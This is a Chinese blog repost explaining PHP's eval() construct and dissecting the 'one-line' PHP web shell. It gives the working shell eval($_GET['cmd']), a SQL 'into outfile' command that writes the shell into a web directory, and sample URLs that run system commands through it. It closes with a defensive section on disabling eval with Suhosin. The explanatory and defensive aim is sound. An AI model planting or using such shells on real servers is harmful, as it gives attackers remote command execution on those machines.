我是靠谱客的博主 忧心鸡翅,最近开发中收集的这篇文章主要介绍php eval一句话木马干啥的,eval函数简介与PHP一句话木马剖析,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

eval函数简介与PHP一句话木马剖析

大家好我是Carol,我的QQ是:906871417

一:eval函数

1.eval()函数把字符串按照PHP代码来计算。

2.该字符串必须是合法的PHP代码,且必须以分号结尾。

3.如果没有在代码字符串中调用return语句,则返回NULL。如果代码中存在解析错误,则eval()函数返回false。

二:eval函数的一般用法

$string = "beautiful";

$time = "winter";

$str = 'This is a $string $time morning!';

echo $str. "
";

eval("$str = "$str";");

echo $str;

?>

输出

This is a $string $time morning!

This is a beautiful winter morning!

三:eval函数的特殊用法

eval($_GET["cmd"]);

四:php一句话挂马的原理

1.通过数据库写马:

select "<?php  eval($_GET['cmd'])'?>" into outfile "D:\phpStudy\WWW\bb.php",不过这个命令是DB和web在同一台机器的时候可以这样执行

2.通过web写马

eval($_GET["cmd"]);

?>

访问:

http://localhost/aa.php?cmd=fwrite(fopen("aa.txt","w"),"hello,world!");

0818b9ca8b590ca3270a3433284dd417.png

查看php的shell信息:

http://localhost/aa.php?cmd=phpinfo();

0818b9ca8b590ca3270a3433284dd417.png

查看当前运行的服务

http://localhost/aa.php?cmd=system("net start");

0818b9ca8b590ca3270a3433284dd417.png

五:禁用eval函数

无论是linux服务器还是windows服务器,eval命令是非常危险的

如何禁用eval命令

在php.ini中这样设置disable_functions =eval是无法禁用eval的,根据php手册说明,eval是一个语言构造器而不是一个函数。如果要禁用eval,则需要第三方扩展,使用Suhosin

linux下安装:

php的安装就不写了

suhosin的安装

wget http://download.suhosin.org/suhosin-0.9.23.tgz

tar zxvfsuhosin-0.9.23.tgz

cd suhosin-0.9.23

/usr/local/php/bin/phpize //这一步不能省

./configure --with-php-config=/usr/local/php/bin/php-config //必须在这儿注明php-config所在的绝对路径。

make

make install

Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/

然后在php.ini中增加一行下列语句。

extension=suhosin.so

suhosin.executor.disable_eval = on

参考文档:http://ju.outofmemory.cn/entry/29300

最后

以上就是忧心鸡翅为你收集整理的php eval一句话木马干啥的,eval函数简介与PHP一句话木马剖析的全部内容,希望文章能够帮你解决php eval一句话木马干啥的,eval函数简介与PHP一句话木马剖析所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(53)

评论列表共有 0 条评论

立即
投稿
返回
顶部